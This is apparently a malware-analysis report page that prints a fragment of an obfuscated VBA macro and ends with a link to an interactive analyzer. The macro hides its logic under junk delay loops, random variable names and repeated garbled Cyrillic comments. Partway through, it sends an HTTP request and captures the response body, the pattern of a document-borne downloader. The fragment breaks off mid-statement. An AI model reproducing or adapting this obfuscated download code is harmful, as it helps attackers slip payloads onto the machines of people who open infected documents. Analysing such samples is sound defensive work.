'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While EzJFiQEw < 65 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: EzJFiQEw = EzJFiQEw + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи UhXsCliE = " CXNQHE " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim vEnElWTo As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For vEnElWTo = 0 To 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ixBuEeCr As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ixBuEeCr = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ixBuEeCr < 67 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ixBuEeCr = ixBuEeCr + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next vEnElWTo 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim OgdeUpwt As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи OgdeUpwt = 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While OgdeUpwt < 15 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: OgdeUpwt = OgdeUpwt + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи EjyckcTR = LTrim(UhXsCliE) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dViBzymv As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For dViBzymv = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim NlGJrDtW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи NlGJrDtW = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While NlGJrDtW < 84 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: NlGJrDtW = NlGJrDtW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next dViBzymv 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fGCgeQml As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи fGCgeQml = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While fGCgeQml < 18 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: fGCgeQml = fGCgeQml + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи vjjPSAeT = RTrim(EjyckcTR) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BRXWUkUW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For BRXWUkUW = 0 To 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim lrojFpfW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи lrojFpfW = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While lrojFpfW < 45 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: lrojFpfW = lrojFpfW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next BRXWUkUW 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dXjSVfui As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи dXjSVfui = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While dXjSVfui < 34 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: dXjSVfui = dXjSVfui + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TJOBKMBJGJF.Send "dfg" 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim gKFEtQbS, ioTgXKFh, DrdPodYi As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim RCgxeBuh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For RCgxeBuh = 0 To 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim nmtGEyZV As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи nmtGEyZV = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While nmtGEyZV < 34 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: nmtGEyZV = nmtGEyZV + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next RCgxeBuh 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim lfdqDowq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи lfdqDowq = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While lfdqDowq < 23 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: lfdqDowq = lfdqDowq + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи gKFEtQbS = " XDPGVR " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim HARdEQzi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For HARdEQzi = 0 To 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ljVjElBB As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ljVjElBB = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ljVjElBB < 76 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ljVjElBB = ljVjElBB + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next HARdEQzi 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim qoySDxKq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи qoySDxKq = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While qoySDxKq < 64 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: qoySDxKq = qoySDxKq + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ioTgXKFh = LTrim(gKFEtQbS) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim euMzrvCa As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For euMzrvCa = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim GPHMAcKi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи GPHMAcKi = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While GPHMAcKi < 82 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: GPHMAcKi = GPHMAcKi + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next euMzrvCa 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BEKGJctT As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи BEKGJctT = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While BEKGJctT < 11 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: BEKGJctT = BEKGJctT + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DrdPodYi = RTrim(ioTgXKFh) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim nkbYtVSQ As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For nkbYtVSQ = 0 To 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim MrRFftkh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи MrRFftkh = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While MrRFftkh < 72 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: MrRFftkh = MrRFftkh + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next nkbYtVSQ 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim rVYOEyRD As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи rVYOEyRD = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While rVYOEyRD < 89 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: rVYOEyRD = rVYOEyRD + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи UKUUBTBDTYD = TJOBKMBJGJF.responseBody 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim eElCwXlN, klvnnUTI, YpRtYlJj As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim qilymXhP As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For qilymXhP = 0 To 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BnyYlQZb As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи BnyYlQZb = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While BnyYlQZb < 47 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: BnyYlQZb = BnyYlQZb + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next qilymXhP 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim hEXwxjnf As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи hEXwxjnf = 7 …

Open this report in the interactive analyzer, or submit your own file for analysis.